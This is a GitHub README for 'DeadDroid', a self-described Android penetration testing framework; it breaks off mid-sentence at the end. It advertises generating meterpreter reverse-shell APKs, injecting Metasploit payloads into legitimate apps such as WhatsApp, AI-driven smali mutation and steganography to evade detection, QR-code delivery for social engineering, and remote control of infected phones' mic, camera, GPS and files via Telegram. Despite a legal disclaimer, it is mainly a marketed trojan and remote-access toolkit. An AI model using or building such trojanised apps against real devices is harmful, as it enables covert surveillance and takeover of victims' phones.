Loading repository data…
Loading repository data…
faizzyhon / repository
The ultimate Android Penetration Testing Framework. A professional operations platform featuring automated APK binding, live TUI dashboards, Telegram remote control, AI-powered smali mutation, and Claude AI integration for security researchers.
A transparent discovery signal based on current public GitHub metadata.
This score does not audit code, security, maintainers, documentation quality, or suitability. Verify the repository and its current documentation before adoption.
██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔═══██╗██║██╔══██╗
██║ ██║█████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║██║██║ ██║
██║ ██║██╔══╝ ██╔══██║██║ ██║██║ ██║██╔══██╗██║ ██║██║██║ ██║
██████╔╝███████╗██║ ██║██████╔╝██████╔╝██║ ██║╚██████╔╝██║██████╔╝
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝╚═════╝
The most advanced open-source Android penetration testing framework — built for professionals.
⚠️ LEGAL DISCLAIMER
DeadDroid is developed for authorised penetration testing, security research, and educational purposes only. Using this tool against systems without explicit written permission is illegal and may result in criminal prosecution. The author assumes zero liability for misuse. You are solely responsible for your actions.
Every other Android pentest tool gives you a payload generator and a session shell. DeadDroid gives you an entire operations platform — features that simply don't exist anywhere else.
| Feature | TheFatRat | AhMyth | Ghost | AndroRAT | DeadDroid |
|---|---|---|---|---|---|
| Payload generation | ✔ | ✔ | ✔ | ✔ | ✔ |
| APK binding | ✔ | ✔ | ✗ | ✗ | ✔ |
| Session management | ✗ | ✔ | ✔ | ✔ | ✔ |
| Live TUI dashboard | ✗ | ✗ | ✗ | ✗ | ✔ |
| Telegram remote control | ✗ | ✗ | ✗ | ✗ | ✔ |
| Campaign manager | ✗ | ✗ | ✗ | ✗ | ✔ |
| Payload DNA tracking | ✗ | ✗ | ✗ | ✗ | ✔ |
| AI mutation engine | ✗ | ✗ | ✗ | ✗ | ✔ |
| Steganography delivery | ✗ | ✗ | ✗ | ✗ | ✔ |
| Android CVE scanner | ✗ | ✗ | ✗ | ✗ | ✔ |
| Mass payload batch | ✗ | ✗ | ✗ | ✗ | ✔ |
| Claude AI advisor | ✗ | ✗ | ✗ | ✗ | ✔ |
| HTML report generator | ✗ | ✗ | ✗ | ✗ | ✔ |
| Auto session keepalive | ✗ | ✗ | ✗ | ✗ | ✔ |
| Module | Description |
|---|---|
| Payload Generator | Generate Android APK payloads using msfvenom — 5 payload types, multiple encoders, auto-obfuscation |
| APK Binder | Inject Metasploit payloads into legitimate APKs — decompile → inject → recompile → sign, fully automated |
| Session Manager | Full Metasploit RPC integration — list sessions, run commands, device info, file ops, GPS, mic, camera |
| ngrok Manager | TCP & HTTP tunnel management via ngrok API v3 — start, list, stop tunnels in-tool |
| Port Forwarding | socat, SSH -L/-R tunnels, iptables PREROUTING — multi-backend forwarding engine |
| Report Generator | Generate professional HTML pentest reports with severity-rated findings |
| AI Assistant | Claude-powered pentest advisor — real-time guidance, technique suggestions, report help |
| Configuration | Persistent settings — MSF RPC credentials, default LHOST/LPORT, keepalive intervals |
| Feature | Description |
|---|---|
| Auto Session Fetch | Polls Metasploit RPC for new sessions — automatically starts keepalive on each new connection |
| Long Session Keepalive | Background thread sends periodic getuid heartbeats to prevent session timeout |
| QR Payload Delivery | Generate QR codes pointing to payload download URLs for social-engineering simulations |
| Auto Multi-Handler | One-click Metasploit listener launch with auto-run post-exploitation scripts |
| SSL Pinning Bypass | Auto-generate Frida scripts to bypass certificate pinning in Android apps |
| ADB Helpers | List devices, open shells, install APKs — ADB wrapped in a clean TUI |
| Network Scanner | nmap-powered live host discovery and port scanning |
| Listener Monitor | Poll a port and alert when a session connects — no more watching the terminal |
| Claude AI Chat | Persistent conversation with prompt caching — ask anything about Android pentesting |
DeadDriod/
├── main.py ← Entry point — main menu, module loader
├── config.py ← Persistent settings (JSON-backed)
├── requirements.txt ← Python dependencies
├── setup.sh ← One-shot installer (Kali/Debian/Ubuntu)
└── core/
├── banner.py ← ASCII art, version, developer info
├── utils.py ← Shared helpers — IPs, tool checks, workspace
├── payload_gen.py ← msfvenom wrapper, payload menu, RC script gen
├── apk_binder.py ← Full APK injection pipeline (apktool + smali)
├── session_mgr.py ← Metasploit RPC client, keepalive, device ops
├── ngrok_handler.py ← ngrok v3 API — TCP/HTTP tunnel management
├── network.py ← socat, SSH tunnels, iptables forwarding
├── ai_assistant.py ← Claude AI with prompt caching, sign-in/out
├── reporter.py ← HTML report generator with severity badges
├── extras.py ← QR, auto-handler, ADB, scanner, Frida bypass
├── dashboard.py ← ★ Live TUI session dashboard
├── telegram_bot.py ← ★ Telegram push alerts + remote control
├── campaign.py ← ★ Campaign & target manager
├── payload_dna.py ← ★ Per-payload DNA tracking system
├── ai_mutator.py ← ★ AI-powered smali mutation engine
├── stego_delivery.py ← ★ LSB steganography payload delivery
├── cve_scanner.py ← ★ Android CVE fingerprint + NVD lookup
└── mass_payload.py ← ★ Batch payload generator with DNA + ZIP
~/.deaddroid/~/.deaddroid/
├── payloads/ ← Generated APKs, RC scripts, QR codes
├── sessions/ ← Session logs
├── reports/ ← HTML pentest reports
├── logs/ ← deaddroid.log
├── certs/ ← Debug keystore for APK signing
├── config.json ← User settings
└── ai_config.json ← Claude API key (encrypted path)
| Tool | Purpose | Install |
|---|---|---|
python3.10+ | Runtime | apt install python3 |
msfvenom / msfconsole | Payload gen & handlers | apt install metasploit-framework |
apktool | APK decompile/recompile | apt install apktool |
keytool / jarsigner | APK signing | apt install default-jdk |
adb | ADB shell helpers | apt install adb |
socat | Port forwarding | apt install socat |
nmap | Network scanner | apt install nmap |
ngrok | Tunnel management | See ngrok.com/download |
frida | SSL pinning bypass | pip install frida-tools |
rich>=13.7.0 # Beautiful terminal UI
anthropic>=0.25.0 # Claude AI API
pymetasploit3>=1.0.3 # Metasploit RPC client
qrcode[pil]>=7.4.2 # QR code generation
Pillow>=10.0.0 # Image handling
requests>=2.31.0 # HTTP utilities
# Clone the repository
git clone https://github.com/faizzyhon/DeadDroid.git
cd DeadDroid
# Run the installer as root
chmod +x setup.sh
sudo ./setup.sh
# Launch from anywhere
deaddroid
# 1. Clone
git clone https://github.com/faizzyhon/DeadDroid.git
cd DeadDroid
# 2. Install system tools (Kali / Debian / Ubuntu)
sudo apt update
sudo apt install -y python3 python3-pip python3-venv \
default-jdk apktool adb socat nmap \
metasploit-framework curl git
# 3. Install ngrok
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
# 4. Create virtual environment
python3 -m venv venv
source venv/bin/activate
# 5. Install Python dependencies
pip install -r requirements.txt
# 6. Run
python3 main.py
git clone https://github.com/faizzyhon/DeadDroid.git && \
cd DeadDroid && sudo ./setup.sh
# 1. Start Metasploit RPC (needed for session management)
start-msfrpc msf123 55553
# 2. Add your ngrok authtoken (optional, for remote testing)
ngrok config add-authtoken YOUR_NGROK_TOKEN
# 3. Launch DeadDroid
deaddroid
You'll see the main menu:
╭─────────────────── Main Menu ───────────────────╮
│ [1] ⚡ Payload Generator │
│ [2] 🔧 APK Binder │
│ [3] 📡 Session Manager │
│ [4] 🌐 ngrok Tunnel Manager │
│ [5] 🔀 Network & Port Forwarding │
│ [6] ✨ Extra Features │
│ [7] 📝 Report Generator │
│ [8] 🤖 AI Assistant (Claude) │
│ [9] ⚙️ Configuration │
│ [0] 🚪 Exit │
╰─────────────────────────────────────────────────╯
Generate Android APK payloads using msfvenom.
Supported payloads:
| # | Payload | Description |
|---|---|---|
| 1 | android/meterpreter/reverse_tcp | Classic reverse TCP meterpreter |
| 2 | android/meterpreter/reverse_https | Encrypted HTTPS (evades basic IDS) |
| 3 | android/shell/reverse_tcp | Lightweight raw shell |
| 4 | android/meterpreter/reverse_http | HTTP meterpreter |
| 5 | android/meterpreter/bind_tcp | Bind TCP (device listens) |
Features:
~/.deaddroid/payloads/# Example flow
Select payload: 2 (reverse_https)
LHOST: 192.168.1.10
LPORT: 4444
Use ngrok? Yes
→ Payload: ~/.deaddroid/payloads/payload_abc123.apk
→ Handler: ~/.deaddroid/payloads/payload_abc123.rc
Inject a Metasploit payload into an existing APK for social-engineering assessment.
Pipeline:
apktoolonCreateapktooljarsigner)# Example
Path to target APK: /home/user/whatsapp.apk
LHOST: 192.168.1.10
LPORT: 5555
→ Output: ~/.deaddroid/payloads/bound_whatsapp_ab12.apk
→ SHA-256: d4e5f6...
Note: Only